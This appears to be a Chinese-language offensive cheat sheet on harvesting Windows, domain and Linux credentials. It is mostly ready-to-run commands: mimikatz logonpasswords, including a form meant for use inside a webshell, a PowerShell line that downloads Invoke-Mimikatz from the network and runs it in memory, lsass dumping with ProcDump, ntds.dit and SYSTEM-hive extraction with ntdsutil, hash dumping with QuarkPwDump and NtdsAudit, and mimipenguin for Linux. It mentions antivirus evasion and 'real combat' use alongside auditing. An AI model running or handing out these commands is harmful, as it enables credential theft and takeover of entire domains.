抓取 Windows 用户或者域用户 hash 的多种姿势
Ntds.dit是主要的AD数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。第二个加密步骤是为了执行密码转储以进行审计,需要两个文件的副本。
执行密码安全审核所需的主要步骤是获取包含信息的文件,从文件中转储密码哈希值,然后使用密码破解程序测试弱密码的这些哈希值。
通过获取Ntds.dit和SYSTEM文件的副本,最可靠的执行密码审计的方法是脱机的。由于Windows阻止这些操作阻止标准读取或复制,因此必须使用特殊技术来获取副本。
使用mimikatz本机测试直接获取内存中的明文密码
mimikatz 只能抓取登陆过的用户hash,无法抓取所有用户,需要免杀
privilege::debug sekurlsa::logonpasswords
非交互式抓明文密码(webshell中)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > password.txt
powershell加载mimikatz抓取密码
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
- ProcDump + Mimikatz
==ps:mimikatz的平台(platform)要与进行dump的系统(source dump)兼容(比如目标08的,本地就要用08系统来分析)==
远程主机:
Procdump.exe -accepteula -ma lsass.exe c:\a.dmp
或者任务管理器找到lsass.exe进程右键创建转储文件
本地主机:mimikatz
sekurlsa::minidump a.dmp
sekurlsa::logonpasswords full
- ntds.dit 的导出
ntdsutil win2008开始DC中自带的工具
交互式
ntdsutil
snapshot
activate instance ntds
create
mount [GUID]
//copy 完之后再执行
unmout [GUID]
del [GUID]
非交互
ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
- QuarkPwDump分析 https://github.com/quarkslab/quarkspwdump
在线提取(直接在目标主机执行,实战中不选择此方式。)
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit
离线提取 需要两个文件 ntds.dit 和 system.hive , 其中system.hive可通过reg save hklm\system system.hive获取
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hive >c:\hash.txt
- WINDOWS SERVER 2008-2016
C:\> ntdsutil ntdsutil: activate instance ntds ntdsutil: ifm ifm: create full c:\audit ifm: quit ntdsutil: quit
解出ntds的hash
NtdsAudit.exe "ntds.dit" -s "SYSTEM" -p pwdump.txt --users-csv users.csv
NtdsAudit.exe下载地址
NtdsAudit需要ntds.dit
Active Directory数据库,SYSTEM
如果转储密码哈希,则需要注册表配置单元。这些文件由域控制器锁定,因此无法简单地复制和粘贴。从域控制器获取这些文件的推荐方法是使用内置ntdsutil
实用程序。
以管理员身份打开命令提示符(
cmd.exe
)。要以管理员身份打开命令提示符,请单击“启动”。在“开始搜索”中,键入命令提示符。在“开始”菜单的顶部,右键单击“命令提示符”,然后单击“以管理员身份运行”。如果出现“用户帐户控制”对话框,请输入相应的凭据(如果已请求)并确认其显示的操作是您所需的操作,然后单击“继续”。在命令提示符下,键入以下命令,然后按ENTER键:
ntdsutil
- 在ntdsutil提示符下,键入以下命令,然后按Enter:
activate instance ntds
- 在ntdsutil提示符下,键入以下命令,然后按Enter:
ifm
- 在ifm提示符下,键入以下命令,然后按Enter:
create full <Drive>:\<Folder>
<Drive>:\<Folder>
是要创建的文件的文件夹路径。
例如,以下命令将显示统计信息,输出pwdump.txt
包含密码哈希值的文件,并输出users.csv
包含每个用户帐户详细信息的文件。
ntdsaudit ntds.dit -s SYSTEM -p pwdump.txt -u users.csv
Linux 明文密码的获取
mimipenguin
git clone https://github.com/huntergregal/mimipenguin
支持的操作系统
os | service | supported |
---|---|---|
Ubuntu Desktop 12.04 LTS x64 | gnome-keyring-daemon (3.18.3) | Y |
Ubuntu Desktop 16.04 LTS x64 | gnome-keyring-daemon (3.18.3) | Y |
Fedora Workstation 25 (x86_64) | gnome-keyring-daemon (3.20.0) | Y |
Fedora Workstation 27 (x86_64) | gnome-keyring-daemon (3.20.1) | Y |
Kali-rolling x64 | gnome-keyring-daemon (3.28.0.2) | Y |